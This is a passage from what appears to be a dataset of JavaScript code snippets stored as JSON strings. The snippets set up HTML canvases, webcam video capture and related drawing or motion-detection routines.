canvas.width=$('#vt-main-div').width()*window.devicePixelRatio;\\n canvas.height=$('#vt-main-div').height()*window.devicePixelRatio;\\n canvas.style.width=$('#vt-main-div').width() + \\\"px\\\";\\n canvas.style.height=$('#vt-main-div').height() + \\\"px\\\";\\n });\\n}\",\n \"setup(canvas) {\\n this.engine.renderer.setup(canvas);\\n this.start();\\n }\",\n \"function start() {\\n if (initialized)\\n return;\\n\\n let myCanvas = document.getElementById(\\\"canvas\\\");\\n myCanvas.classList.toggle(\\\"hide\\\");\\n\\n let button = document.getElementById(\\\"webcamButton\\\");\\n button.classList.add(\\\"hide\\\");\\n\\n window.ctx = myCanvas.getContext('2d', {alpha: false});\\n\\n var mycamvas = new camvas(window.ctx, processFrame);\\n initialized = true;\\n}\",\n \"function drawVedio() {\\n setTimeout(() => {\\n canvas.getContext(\\\"2d\\\").drawImage(video, 0, 0, 100, 100);\\n drawVedio();\\n }, 0);\\n }\",\n \"function setupMotionDetection() {\\n md_canvas = document.getElementById('mdCanvas');\\n test_canvas = document.getElementById('testCanvas');\\n md_canvas.width = vid_width;\\n md_canvas.height = vid_height;\\n}\",\n \"function prepareCanvas() {\\n canvas = window._canvas = new fabric.Canvas('canvas');\\n canvas.backgroundColor = '#ffffff';\\n canvas.isDrawingMode = 1;\\n canvas.freeDrawingBrush.color = \\\"black\\\";\\n canvas.freeDrawingBrush.width = 1;\\n canvas.renderAll();\\n //setup listeners \\n canvas.on('mouse:up', function(e) {\\n getFrame();\\n mousePressed = false\\n });\\n canvas.on('mouse:down', function(e) {\\n mousePressed = true\\n });\\n canvas.on('mouse:move', function(e) {\\n recordCoor(e)\\n });\\n}\",\n \"function setupCanvas() {\\n// setup everything else\\n\\tconsole.log(\\\"Setting up canvas...\\\")\\n\\tcanvas = document.getElementById(\\\"drone-sim-canvas\\\");\\n\\twindow.addEventListener(\\\"keyup\\\", keyFunctionUp, false);\\n\\twindow.addEventListener(\\\"keydown\\\", keyFunctionDown, false);\\n\\twindow.onresize = doResize;\\n\\tcanvas.width = window.innerWidth-16;\\n\\tcanvas.height = window.innerHeight-200;\\n\\tconsole.log(\\\"Done.\\\")\\n}\",\n \"function setup() {\\n createCanvas(windowWidth, windowHeight);\\n capture = createCapture(VIDEO);\\n capture.size(windowWidth, windowHeight);\\n capture.hide();\\n background(255, 0, 200);\\n}\",\n \"function setup() {\\n // setup canvas: target\\n canvas = createCanvas(640, 480, WEBGL);\\n canvas.id('p5canvas');\\n background(51);\\n\\n // setup webcam: source\\n video = createCapture(VIDEO);\\n video.size(width, height);\\n video.id('p5video'); // giving an ID to the video to link to seriously\\n video.hide();\\n\\n // switch between modes\\n createP(\\\"To start, press 'a' for blur or 's' for vignette.\\\");\\n\\n // adjust blur\\n createP('Adjust Blur');\\n blurSlider = createSlider(0, 1, 0.5, 0.01);\\n blurSlider.id('blur-slider');\\n\\n // adjust vignette strength\\n createP('Adjust Vignette');\\n vignetteSlider = createSlider(0, 100, 50);\\n vignetteSlider.id('vignette-slider');\\n\\n\\n // Call Seriously function inside the variable: seriously\\n seriously = new Seriously(); // create an object called seriously\\n\\n // Source: webcam, target: canvas\\n src = seriously.source('#p5video');\\n target = seriously.target('#p5canvas');\\n\\n keyReleased();\\n\\n seriously.go();\\n\\n\\n}\",\n \"_setupCanvas () {\\r\\n\\t\\tthis.canvas = document.createElement('canvas');\\r\\n\\t\\tthis.context = this.canvas.getContext('2d');\\r\\n\\r\\n\\t\\tthis.canvas.width = 500;\\r\\n\\t\\tthis.canvas.height = 500;\\r\\n\\r\\n\\t\\tlet body = document.getElementById('body');\\r\\n\\t\\tbody.appendChild(this.canvas);\\r\\n\\t}\",\n \"function render(){\\n var canvas = $('#canvas')[0];\\n var context = canvas.getContext('2d');\\n var video = $('#camera')[0];\\n\\n // copy camera frame from video to canvas so lines can be drawn on\\n try{\\n context.drawImage(video, 0, 0, video.width, video.height);\\n }\\n catch(error){\\n if(error.name != \\\"NS_ERROR_NOT_AVAILABLE\\\"){\\n throw error;\\n }\\n }\\n\\n // save original canvas\\n var subcanvas = $('#binary')[0];\\n var subcontext = subcanvas.getContext('2d');\\n subcontext.drawImage(canvas, canvas.width/4, canvas.height*3/8, canvas.width/2, canvas.height/4, 0, 0, subcanvas.width, subcanvas.height);\\n\\n // remaining detection\\n process(subcanvas);\\n\\n // flip horizontally\\n context.setTransform(1, 0, 0, 1, 0, 0);\\n context.translate(canvas.width, 0);\\n context.scale(-1, 1);\\n\\n // draw line\\n context.lineWidth = 1;\\n context.strokeStyle = 'green';\\n context.beginPath();\\n context.moveTo(canvas.width/4, canvas.height/2);\\n context.lineTo(canvas.width*3/4, canvas.height/2);\\n context.moveTo(canvas.width/2, canvas.height*3/8);\\n context.lineTo(canvas.width/2, canvas.height*5/8);\\n context.stroke();\\n\\n context.strokeStyle = 'blue';\\n context.beginPath();\\n context.moveTo(canvas.width*1/4, canvas.height*3/8);\\n context.lineTo(canvas.width*3/4, canvas.height*3/8);\\n context.lineTo(canvas.width*3/4, canvas.height*5/8);\\n context.lineTo(canvas.width*1/4, canvas.height*5/8);\\n context.closePath();\\n context.stroke();\\n\\n requestAnimationFrame(render);\\n }\",\n \"initialiseCanvas(){\\n let canvas = document.querySelector(\\\".genetic-art .canvas_container .result\\\");\\n canvas.width = this.modelData.width;\\n canvas.height = this.modelData.height;\\n }\",\n \"function setCanvas(){\\n _canvas = document.getElementById('canvas');\\n _stage = _canvas.getContext('2d');\\n _canvas.width = _puzzleWidth;\\n _canvas.height = _puzzleHeight;\\n}\",\n \"async function setupCamera() {\\n const video = document.getElementById('video');\\n const canvas = document.getElementById('canvas');\\n if (!video || !canvas) return null;\\n\\n let msg = '';\\n log('Setting up camera');\\n // setup webcam. note that navigator.mediaDevices requires that page is accessed via https\\n if (!navigator.mediaDevices) {\\n log('Camera Error: access not supported');\\n return null;\\n }\\n let stream;\\n const constraints = {\\n audio: false,\\n video: { facingMode: 'user', resizeMode: 'crop-and-scale' },\\n };\\n if (window.innerWidth > window.innerHeight) constraints.video.width = { ideal: window.innerWidth };\\n else constraints.video.height = { ideal: window.innerHeight };\\n try {\\n stream = await navigator.mediaDevices.getUserMedia(constraints);\\n } catch (err) {\\n if (err.name === 'PermissionDeniedError' || err.name === 'NotAllowedError') msg = 'camera permission denied';\\n else if (err.name === 'SourceUnavailableError') msg = 'camera not available';\\n log(`Camera Error: ${msg}: ${err.message || err}`);\\n return null;\\n }\\n // @ts-ignore\\n if (stream) video.srcObject = stream;\\n else {\\n log('Camera Error: stream empty');\\n return null;\\n }\\n const track = stream.getVideoTracks()[0];\\n const settings = track.getSettings();\\n if (settings.deviceId) delete settings.deviceId;\\n if (settings.groupId) delete settings.groupId;\\n if (settings.aspectRatio) settings.aspectRatio = Math.trunc(100 * settings.aspectRatio) / 100;\\n log(`Camera active: ${track.label}`); // ${str(constraints)}\\n log(`Camera settings: ${str(settings)}`);\\n canvas.addEventListener('click', () => {\\n // @ts-ignore\\n if (video && video.readyState >= 2) {\\n // @ts-ignore\\n if (video.paused) {\\n // @ts-ignore\\n video.play();\\n detectVideo(video, canvas);\\n } else {\\n // @ts-ignore\\n video.pause();\\n }\\n }\\n // @ts-ignore\\n log(`Camera state: ${video.paused ? 'paused' : 'playing'}`);\\n });\\n return new Promise((resolve) => {\\n video.onloadeddata = async () => {\\n // @ts-ignore\\n canvas.width = video.videoWidth;\\n // @ts-ignore\\n canvas.height = video.videoHeight;\\n // @ts-ignore\\n video.play();\\n detectVideo(video, canvas);\\n resolve(true);\\n };\\n });\\n}\",\n \"function setup() {\\n createCanvas(1280, 480); // Create a display window\\n img = loadImage('lk.jpg'); // Load the image\\n capture = createCapture(VIDEO); // Get the capture video\\n capture.id(\\\"video_elemyent\\\"); // Set the video Id\\n capture.size(640, 480); // Define video size to 640x480\\n capture.hide() // Hide the streaning video\\n faceapi = ml5.faceApi(capture, faceReady);\\n}\",\n \"function setup() {\\n let canvasDiv = document.getElementById('animation');\\n canvasWidth = canvasDiv.offsetWidth;\\n canvasHeight = canvasDiv.offsetHeight;\\n pipesAmount = Math.floor(canvasHeight / (minPipeHeight + 1));\\n pipesWidth = canvasWidth / (pipesAmount + 1);\\n // Creates canvas\\n let canvas = createCanvas(canvasWidth, canvasHeight);\\n // Declares the parent div of the canvas\\n canvas.parent('animation');\\n}\",\n \"function setCanvas(){\\r\\n _canvas = document.getElementById('canvas');\\r\\n _stage = _canvas.getContext('2d');\\r\\n _canvas.width = _puzzleWidth;\\r\\n _canvas.height = _puzzleHeight;\\r\\n _canvas.style.border = \\\"1px solid black\\\";\\r\\n}\",\n \"init() {\\n const wrapper = document.getElementById('canvasWrapper');\\n let newCanvas;\\n if (!document.querySelector('canvas')) {\\n newCanvas = document.createElement('canvas');\\n newCanvas.width = this.width;\\n newCanvas.height = this.height;\\n newCanvas.setAttribute('id', 'canvas');\\n this.context = newCanvas.getContext('2d');\\n wrapper.appendChild(newCanvas);\\n } else {\\n newCanvas = document.getElementById('canvas');\\n newCanvas.width = this.width;\\n newCanvas.height = this.height;\\n this.context = newCanvas.getContext('2d');\\n }\\n this.style(wrapper);\\n }\",\n \"drawScreen () {\\n if(this.video1.canplaythrough && this.video2.canplaythrough) {\\n this.context.putImageData(this.video1.context.getImageData(0,0, 320, 180), 0, 0);\\n this.context.putImageData(this.video2.context.getImageData(0,0, 320, 180), 0, 0);\\n this.context.drawImage(this.video2.canvas, 0, 0);\\n this.context.drawImage(this.video1.canvas, 0, 0);\\n // let frame1 = this.video2.context.getImageData(0,0, 320, 180);\\n // this.context.putImageData(frame1, 0, 0);\\n }\\n }\",\n \"createCanvas() {\\n this.canvas = document.createElement('canvas');\\n this.canvas.width = this.width * this.resolution;\\n this.canvas.height = this.height * this.resolution;\\n this.context = this.canvas.getContext('2d');\\n }\",\n \"_addCanvas() { // add canvas will add a track to the screen by changing the CSS of div elements and buttons, can add up to 4 tracks\\n if (this.numberOfCanvases == 1) { // set up canvas context for visualizer\\n this.canvasContainer = document.getElementById('canvasContainer1');\\n this.canvas = document.getElementById('canvas1');\\n this.canvasCtx = this.canvas.getContext(\\\"2d\\\");\\n this.canvasOffset = 55;\\n this.numberOfTracks = 0;\\n this.canvas.classList.remove(\\\"canvas3\\\");\\n this.canvas.classList.add(\\\"canvas1\\\");\\n this.canvasContainer.classList.remove(\\\"canvas-container3\\\");\\n this.canvasContainer.classList.add(\\\"canvas-container1\\\");\\n } else if (this.numberOfCanvases == 2) {\\n this._greyCanvas();\\n this.canvasContainer = document.getElementById('canvasContainer2');\\n this.canvas = document.getElementById('canvas2');\\n this.canvasCtx = this.canvas.getContext(\\\"2d\\\");\\n this.canvasOffset = 55;\\n this.numberOfTracks = 0;\\n this.canvas.classList.remove(\\\"canvas3\\\");\\n this.canvas.classList.add(\\\"canvas1\\\");\\n this.canvasContainer.classList.remove(\\\"canvas-container3\\\");\\n this.canvasContainer.classList.add(\\\"canvas-container1\\\");\\n } else if (this.numberOfCanvases == 3) {\\n this._greyCanvas();\\n this.canvasContainer = document.getElementById('canvasContainer3');\\n this.canvas = document.getElementById('canvas3');\\n this.canvasCtx = this.canvas.getContext(\\\"2d\\\");\\n this.canvasOffset = 55;\\n this.numberOfTracks = 0;\\n this.canvas.classList.remove(\\\"canvas3\\\");\\n this.canvas.classList.add(\\\"canvas1\\\");\\n this.canvasContainer.classList.remove(\\\"canvas-container3\\\");\\n this.canvasContainer.classList.add(\\\"canvas-container1\\\");\\n } else if (this.numberOfCanvases == 4) {\\n this._greyCanvas();\\n this.canvasContainer = document.getElementById('canvasContainer4');\\n this.canvas = document.getElementById('canvas4');\\n this.canvasCtx = this.canvas.getContext(\\\"2d\\\");\\n this.canvasOffset = 55;\\n this.numberOfTracks = 0;\\n this.canvas.classList.remove(\\\"canvas3\\\");\\n this.canvas.classList.add(\\\"canvas1\\\");\\n this.canvasContainer.classList.remove(\\\"canvas-container3\\\");\\n this.canvasContainer.classList.add(\\\"canvas-container1\\\");\\n }\\n }\",\n \"initializeCanvas(){\\n\\t\\tconsole.log(`======] Init Canvas [======`, this.state);\\n\\n\\t\\tif(this.state.device.width && this.state.device.height){\\n\\t\\t\\tthis.canvas = document.createElement('canvas');\\n\\t\\t\\tthis.canvas.id = 'screen-canvas';\\n\\t\\t\\tthis.canvas.width = this.state.device.width/2;\\n\\t\\t\\tthis.canvas.height = this.state.device.height/2;\\n\\t\\t\\tthis.canvas.style = 'margin: 50px; border: 1px solid black; cursor: pointer;';\\n\\t\\t\\tthis.canvas.onmouseover = this.cursorOver.bind(this);\\n\\t\\t\\tthis.canvas.onmouseout = this.cursorOut.bind(this);\\n\\t\\t\\tthis.canvas.onmousedown = this.interactStart.bind(this);\\n\\t\\t\\tthis.canvas.onmousemove = this.interactMove.bind(this);\\n\\t\\t\\tthis.canvas.onmouseup = this.interactEnd.bind(this);\\n\\t\\t\\tthis.canvas.onmousewheel = this.mouseWheel.bind(this);\\n\\t\\t\\tdocument.body.onkeydown = this.keyDown.bind(this);\\n\\t\\t\\tdocument.body.onkeyup = this.keyUp.bind(this);\\n\\n\\t\\t\\tdocument.getElementById('screen-container').appendChild(this.canvas)\\n\\t\\t\\tthis.ctx = this.canvas.getContext('2d');\\n\\t\\t}else{\\n\\t\\t\\talert(`Device resolution failed to be detected`);\\n\\t\\t}\\n\\t}\",\n \"function setup() {\\n createCanvas(800, 600);\\n pixelDensity(1); //for retina displays\\n capture = createCapture(VIDEO);\\n capture.size(width / vScale, height / vScale);\\n capture.hide();\\n\\n\\n}\",\n \"function createCanvasZone(canvas,ctx,video){\\r\\n \\r\\n var BtnZone = document.createElement('div');\\r\\n BtnZone.id=\\\"canvasBtnZone\\\";\\r\\n \\r\\n var clear_btn = document.createElement('input');\\r\\n clear_btn.type = \\\"button\\\";\\r\\n clear_btn.id = 'clearCanvas';\\r\\n clear_btn.className = \\\"canvas_btn\\\";\\r\\n clear_btn.value='Clear';\\r\\n clear_btn.onclick=function(){clearArea(ctx)};\\r\\n \\r\\n var close_btn = document.createElement('input');\\r\\n close_btn.type = \\\"button\\\";\\r\\n close_btn.className = \\\"canvas_btn\\\";\\r\\n close_btn.id = 'closeCanvas';\\r\\n close_btn.value='Close';\\r\\n close_btn.onclick=function(){BtnZone.remove();};\\r\\n \\r\\n\\r\\n \\r\\n var send_btn = document.createElement('input');\\r\\n send_btn.type = \\\"button\\\";\\r\\n send_btn.id = 'sendscreenShot';\\r\\n send_btn.className = \\\"canvas_btn\\\";\\r\\n send_btn.value='Send screenshot';\\r\\n send_btn.onclick=function(){sendScreenshot()};\\r\\n \\r\\n \\r\\n $('#CanvasZone').append(BtnZone);\\r\\n $('#canvasBtnZone').append(clear_btn);\\r\\n $('#canvasBtnZone').append(close_btn);\\r\\n $('#canvasBtnZone').append(send_btn); \\r\\n $('#canvasBtnZone').append(canvas); \\r\\n \\r\\n InitThis(ratio,canvas,video);\\r\\n}\",\n \"function takePhoto (e) {\\nlet ctx = outputCanvas.getContext('2d')\\nctx.drawImage(inputVideo,0,0)\\n}\",\n \"function initCanvas(width, height){}\",\n \"function setup()\\n{\\n const maxWidth = Math.min(windowWidth, windowHeight);\\n pixelDensity(1);\\n outputWidth = maxWidth;\\n outputHeight = maxWidth * 0.75; // 4:3\\n\\n createCanvas(outputWidth, outputHeight);\\n\\n // webcam capture\\n videoInput = createCapture(VIDEO);\\n videoInput.size(outputWidth, outputHeight);\\n videoInput.hide();\\n\\n // select filter\\n const sel = createSelect();\\n const selectList = ['Donal trump', 'Dog Filter', 'billgate', 'pikachu']; // list of filters\\n sel.option('Select Filter', -1); // Default no filter\\n for (let i = 0; i < selectList.length; i++)\\n {\\n sel.option(selectList[i], i);\\n }\\n sel.changed(applyFilter);\\n\\n // tracker\\n faceTracker = new clm.tracker();\\n faceTracker.init();\\n faceTracker.start(videoInput.elt);\\n}\",\n \"function setUpCanvas() {\\r\\n canvas = document.createElement(\\\"CANVAS\\\");\\r\\n canvas.id = \\\"canvas\\\";\\r\\n canvas.style.width = \\\"100%\\\";\\r\\n canvas.style.height = \\\"100%\\\";\\r\\n canvas.style.background = 'black';\\r\\n canvas.style.marginLeft = 'auto';\\r\\n canvas.style.marginRight = 'auto';\\r\\n canvas.style.display = 'block';\\r\\n }\",\n \"init() {\\n if (this.canvas.getContext) {\\n this.start();\\n } else {\\n canvas.textContent = 'Sorry canvas not suport';\\n }\\n }\",\n \"function adaptElements() {\\n const rect = document.body.getBoundingClientRect();\\n const screenWidth = rect.width;\\n const screenHeight = rect.height;\\n const videoWidth = video.videoWidth;\\n const videoHeight = video.videoHeight;\\n const widthRatio = videoWidth / screenWidth;\\n const heightRatio = videoHeight / screenHeight;\\n const ratio = Math.min(widthRatio, heightRatio);\\n // set image size and offset\\n imageWidth = Math.floor(ratio * screenWidth + 0.5);\\n imageHeight = Math.floor(ratio * screenHeight + 0.5);\\n videoX = Math.max(0, Math.floor(0.5 * (videoWidth - imageWidth) + 0.5));\\n videoY = Math.max(0, Math.floor(0.5 * (videoHeight - imageHeight) + 0.5));\\n // adapt canvas size to input video size\\n canvas.width = imageWidth;\\n canvas.height = imageHeight;\\n // adapt canvas size to screen\\n image.width = screenWidth;\\n image.height = screenHeight;\\n // calculate video screen size and offset\\n const videoScreenWidth = Math.floor(videoWidth / ratio + 0.5);\\n const videoScreenHeight = Math.floor(videoHeight / ratio + 0.5);\\n const videoScreenX = Math.floor(videoX / ratio + 0.5);\\n const videoScreenY = Math.floor(videoY / ratio + 0.5);\\n // resize and position video an screen\\n video.width = videoScreenWidth;\\n video.height = videoScreenHeight;\\n video.style.left = `${-videoScreenX}px`;\\n video.style.top = `${-videoScreenY}px`;\\n // show live video\\n resetVideo();\\n }\",\n \"static init(canvas){\\r\\n\\r\\n\\r\\n\\t}\",\n \"function playVideo(videoTimeline) {\\n\\n const timelineNode = videoTimeline.next\\n const video = videoTimeline.data.videoCore\\n const videoEndTime = videoTimeline.data.metadata.endTime\\n \\n loop = () => {\\n if (!window.currentlyPlaying) {\\n return\\n }\\n\\n if (videoEndTime < video.currentTime + 0.01) {\\n /* Pausing the current video if necessary */\\n video.pause()\\n\\n if (timelineNode) {\\n\\n /* Setting the current switch value */\\n if (timelineNode.data.metadata.ratio == 'fit') {\\n window.currentRatio = 'fit'\\n document.querySelector('.toogle-fit').click()\\n } else if (timelineNode.data.metadata.ratio == 'strech') {\\n window.currentRatio = 'strech'\\n document.querySelector('.toogle-strech').click()\\n }\\n\\n /* Starting next video from the beginning */\\n timelineNode.data.videoCore.currentTime = timelineNode.data.metadata.startTime\\n\\n /* Updating the window.currentVideoSelectedForPlayback variable */\\n window.currentVideoSelectedForPlayback = timelineNode\\n\\n /* Playing the next frame */\\n playVideo(timelineNode)\\n }\\n } else {\\n /* Updating the UI */\\n renderUIAfterFrameChange(videoTimeline)\\n\\n /* Drawing at 30fps (1000 / 30 = 33,3333..)*/\\n setTimeout(loop, 33.3333333) \\n }\\n }\\n\\n alpha1 = canvas.width * video.videoHeight / canvas.height - video.videoWidth\\n alpha2 = video.videoWidth * canvas.height / canvas.width - video.videoHeight\\n\\n if (alpha1 < alpha2) {\\n canvas.width = video.videoWidth + alpha1\\n canvas.height = video.videoHeight\\n } else {\\n canvas.width = video.videoWidth\\n canvas.height = video.videoHeight + alpha2\\n }\\n \\n loop()\\n video.play()\\n}\",\n \"function gStart() {\\n\\n // PREVENT DOUBLE CLICK FROM SELECTING THE CANVAS:\\n\\n var noSelectHTML = \\\"\\\"\\n + \\\" \\\"\\n ;\\n var headElement = document.getElementsByTagName('head')[0];\\n headElement.innerHTML = noSelectHTML + headElement.innerHTML;\\n\\n // ADD VIEWER ELEMENTS TO DOCUMENT\\n\\n var viewerHTML = \\\"\\\"\\n\\n + \\\" \\\"\\n\\n + \\\" \\\"\\n +\\n (isShowingRenderer\\n ?\\n \\\" \\\"\\n + \\\" \\\"\\n :\\n \\\" \\\"\\n + \\\" \\\"\\n )\\n\\n + \\\" \\\"\\n\\n + \\\" \\\"\\n\\n + \\\" \\\"\\n\\n + \\\" \\\"\\n\\n + \\\" \\\"\\n + \\\" \\\"\\n + \\\" \\\"\\n\\n// + \\\" \\\"\\n ;\\n window.bodyElement = document.getElementsByTagName('body')[0];\\n bodyElement.innerHTML = '' + viewerHTML + bodyElement.innerHTML + '';\\n bodyElement.style.color = blackBackgroundColor;\\n\\n // SET ALL THE SCREEN-FILLING ELEMENTS TO THE SIZE OF THE SCREEN.\\n\\n slide.width = width();\\n sketch_canvas.width = width();\\n events_canvas.width = width();\\n\\n slide.height = height();\\n sketch_canvas.height = height();\\n events_canvas.height = height();\\n\\n background.width = width();\\n background.height = height();\\n background.style.backgroundColor = backgroundColor;\\n\\n // INITIALIZE THE SKETCH CANVAS\\n\\n sketch_canvas.animate = function(elapsed) { sketchPage.animate(elapsed); }\\n sketch_canvas.overlay = function() { sketchPage.overlay(); }\\n sketch_canvas.setup = function() {\\n window.onbeforeunload = function(e) { sketchBook.onbeforeunload(e); }\\n setPage(0);\\n }\\n\\n events_canvas.keyDown = function(key) { e2s(); sketchPage.keyDown(key); }\\n events_canvas.keyUp = function(key) { e2s(); sketchPage.keyUp(key); }\\n events_canvas.mouseDown = function(x, y, z) { e2s(); sketchPage.mouseDown(x, y, z); }\\n events_canvas.mouseDrag = function(x, y, z) { e2s(); sketchPage.mouseDrag(x, y, z); }\\n events_canvas.mouseMove = function(x, y, z) { e2s(); sketchPage.mouseMove(x, y, z); }\\n events_canvas.mouseUp = function(x, y, z) { e2s(); sketchPage.mouseUp (x, y, z); }\\n\\n fourStart();\\n\\n if (window['scene_div'] !== undefined) {\\n scene_div.width = width();\\n scene_div.height = height();\\n var sceneElement = document.getElementById('scene_div');\\n sceneElement.appendChild(renderer.domElement);\\n }\\n\\n // SET SIZE OF WEBGL CANVAS\\n\\n webgl_canvas.width = width();\\n webgl_canvas.height = height();\\n\\n // START WEBGL MODELER\\n\\n if (isPhone()) {\\n sketchPadding *= 2;\\n }\\n\\n lightTracker = new LightTracker(video_analysis_canvas);\\n\\n window.ctScene = new CT.Scene(webgl_canvas);\\n ctScene.setLight(0, [ 1, 1, 1]);\\n ctScene.setLight(1, [-1,-1,-1], [.1, .05, 0]);\\n ctScene.setFOV(isPhone() ? PI / 2.5 : PI / 6);\\n\\n initCTPath();\\n\\n // START ALL CANVASES RUNNING\\n\\n var c = document.getElementsByTagName(\\\"canvas\\\");\\n\\n initEventHandlers(events_canvas);\\n initSketchCanvas();\\n\\n // SET SIZE OF VIDEO CANVAS\\n\\n video_canvas.width = width();\\n video_canvas.height = height();\\n\\n // server = new Server();\\n // socket = server.connectSocket();\\n\\n midi = new Midi();\\n\\n document.title = 'Chalktalk';\\n }\",\n \"function init(options) {\\n\\t\\t// sanity check\\n\\t\\tif (!options) {\\n\\t\\t\\tthrow 'No options object provided';\\n\\t\\t}\\n\\n\\t\\t// incoming options with defaults\\n\\t\\tvideo = options.video || document.createElement('video');\\n\\t\\tmotionCanvas = options.motionCanvas || document.createElement('canvas');\\n\\t\\tcaptureIntervalTime = options.captureIntervalTime || 100;\\n\\t\\tcaptureWidth = options.captureWidth || 640;\\n\\t\\tcaptureHeight = options.captureHeight || 480;\\n\\t\\tdiffWidth = options.diffWidth || 64;\\n\\t\\tdiffHeight = options.diffHeight || 48;\\n\\t\\tpixelDiffThreshold = options.pixelDiffThreshold || 32;\\n\\t\\tscoreThreshold = options.scoreThreshold || 16;\\n\\t\\tincludeMotionBox = options.includeMotionBox || false;\\n\\t\\tincludeMotionPixels = options.includeMotionPixels || false;\\n\\n\\t\\t// callbacks\\n\\t\\tinitSuccessCallback = options.initSuccessCallback || function() {};\\n\\t\\tinitErrorCallback = options.initErrorCallback || function() {};\\n\\t\\tstartCompleteCallback = options.startCompleteCallback || function() {};\\n\\t\\tcaptureCallback = options.captureCallback || function() {};\\n\\n\\t\\t// non-configurable\\n\\t\\tcaptureCanvas = document.createElement('canvas');\\n\\t\\tdiffCanvas = document.createElement('canvas');\\n\\t\\tisReadyToDiff = false;\\n\\n\\t\\t// prep video\\n\\t\\tvideo.autoplay = true;\\n\\n\\t\\t// prep capture canvas\\n\\t\\tcaptureCanvas.width = captureWidth;\\n\\t\\tcaptureCanvas.height = captureHeight;\\n\\t\\tcaptureContext = captureCanvas.getContext('2d');\\n\\n\\t\\t// prep diff canvas\\n\\t\\tdiffCanvas.width = diffWidth;\\n\\t\\tdiffCanvas.height = diffHeight;\\n\\t\\tdiffContext = diffCanvas.getContext('2d');\\n\\n\\t\\t// prep motion canvas\\n\\t\\tmotionCanvas.width = diffWidth;\\n\\t\\tmotionCanvas.height = diffHeight;\\n\\t\\tmotionContext = motionCanvas.getContext('2d');\\n\\n\\t\\trequestWebcam();\\n\\t}\",\n \"initCanvas() { \\n\\t\\tthis.canvas = document.getElementById(\\\"canvas\\\");\\n\\t\\tthis.canvas.width = this.level.getNumBlocksRow * Block.SIZE + (2 * Sprite.SIDE_LR_WIDTH);\\n\\t\\tthis.canvas.height = this.level.getNumBlocksColumn * Block.SIZE + (3 * Sprite.SIDE_TMD_HEIGHT) + Sprite.PANEL_HEIGHT;\\n\\t\\tthis.ctx = this.canvas.getContext(\\\"2d\\\");\\t\\n\\t}\",\n \"constructor(sourceCanvas, resultCanvas) {\\n this.source = sourceCanvas.getContext(\\\"2d\\\")\\n this.result = resultCanvas.getContext(\\\"2d\\\")\\n }\",\n \"function CanvasInit(){\\n context.fillStyle = 'white';\\n context.fillRect(0,0,canvas.width, canvas.height);\\n context.fillStyle = 'black';\\n context.strokeStyle = 'black'\\n setUpCanvas();\\n clear();\\n}\",\n \"_initCanvas (canvas) {\\n if (canvas) {\\n this.canvas = canvas\\n this.width = canvas.width\\n this.height = canvas.height\\n } else {\\n this.canvas = document.createElement('canvas')\\n this.canvas.width = this.width\\n this.canvas.height = this.height\\n this.canvas.style.width = '100%'\\n this.canvas.style.height = '100%'\\n this.canvas.style.imageRendering = 'pixelated'\\n document.body.appendChild(this.canvas)\\n }\\n }\",\n \"function Init() {\\n // Get context handles\\n CanvasHandle = document.getElementById(\\\"canvas\\\");\\n CanvasHandle.width = ratioX * scale;\\n CanvasHandle.height = ratioY * scale;\\n ContextHandle = CanvasHandle.getContext(\\\"2d\\\");\\n CanvasWidth = ContextHandle.canvas.clientWidth;\\n CanvasHeight = ContextHandle.canvas.clientHeight;\\n\\n // Create an image backbuffer\\n BackCanvasHandle = document.createElement(\\\"canvas\\\");\\n BackContextHandle = BackCanvasHandle.getContext(\\\"2d\\\");\\n BackCanvasHandle.width = CanvasWidth;\\n BackCanvasHandle.height = CanvasHeight;\\n\\n // Set line style\\n BackContextHandle.lineCap = \\\"butt\\\";\\n BackContextHandle.lineJoin = \\\"round\\\";\\n\\n // Get the canvas center\\n CenterX = CanvasWidth / 2;\\n CenterY = CanvasHeight / 2;\\n Camera = {x:0, y:0, z:1};\\n}\",\n \"set canvas(c){\\n this._canvas = c ;\\n if (c){\\n this._context = c.getContext('2d') ;\\n }\\n }\",\n \"function startVideo() {\\n navigator.getUserMedia(\\n { \\n video: \\n {\\n //the ideal part is imp, it helps to get 16:9 ratio also\\n height : { ideal : window.innerHeight } ,\\n width : { ideal : window.innerWidth }\\n } \\n } ,\\n stream => video.srcObject = stream,\\n err => console.error(err)\\n ) \\n}\",\n \"function initVideo() {\\n log_d(\\\"Initializing the video subsystem\\\");\\n\\n var setVideoDev = function (devs) {\\n log_d(\\\"Got video capture devices: \\\" + JSON.stringify(devs));\\n var dev = '';\\n $.each(devs, function (k, v) {\\n dev = k;\\n $('#webcamsSelect').append($(' '));\\n });\\n if (dev) {\\n log_d(\\\"Using video capture device: \\\" + JSON.stringify(devs[dev]));\\n window.configuredDevice = dev;\\n service.setVideoCaptureDevice(CDO.createResponder(startLocalPreview), dev);\\n } else {\\n log_e(\\\"None video capture devices installed.\\\");\\n }\\n };\\n log_d(\\\"Getting video capture devices\\\");\\n service.getVideoCaptureDeviceNames(CDO.createResponder(setVideoDev));\\n\\n}\",\n \"function demo(vid) {\\n\\tvar video = vid;\\n\\tvar demo = this;\\n\\tvar width = 640, height = 480;//can also use video.offsetHeight/video.offsetWidth but the value seems to change once the video actually starts.\\n\\tvar el = document.getElementById('demo-content');\\n\\t\\n\\tvar gui = new dat.GUI({ autoPlace: false });\\n\\tel.appendChild(gui.domElement);\\n\\t\\n\\tvar videoImageContext;\\n\\t\\n\\t//public variables:\\n\\tthis.mode = \\\"chromaKey\\\";\\n\\tgui.add(this, \\\"mode\\\", [\\\"Chroma Key\\\", \\\"Subtraction\\\", \\\"Fancy Method\\\"]);\\n\\t\\n\\tthis.bg_snapshot = function(){\\n\\t\\tsnapshot();\\n\\t}\\n\\tgui.add(this, \\\"bg_snapshot\\\");\\n\\n\\tinit();\\n\\t\\n\\tfunction init() {\\n\\t\\tvideoImage = document.createElement( 'canvas' );\\n\\t\\tvideoImage.width = width;\\n\\t\\tvideoImage.height = height;\\n\\t\\tel.appendChild( videoImage );\\n\\t\\t\\n\\t\\tvideoImageContext = videoImage.getContext( '2d' );\\n\\t\\tvideoImageContext.scale(-1, 1);\\n\\t\\tanimate();\\n\\t}\\n\\t\\n\\tfunction animate(){\\n\\t\\trequestAnimationFrame( animate );\\n\\t\\trender();\\n\\t}\\n\\t\\n\\tfunction drawImage(){\\n\\t\\t//mirror the image using scale(-1, 1)\\n\\t\\tvideoImageContext.drawImage(video, -width, 0, width, height);\\n\\t\\t//videoImageContext.drawImage(video, 0, 0, width, height); //original method\\n\\t}\\n\\t\\n\\tfunction render(){\\n\\t\\tif (video.readyState === video.HAVE_ENOUGH_DATA ){\\n\\t\\t\\tdrawImage();\\n\\t\\t\\tswitch 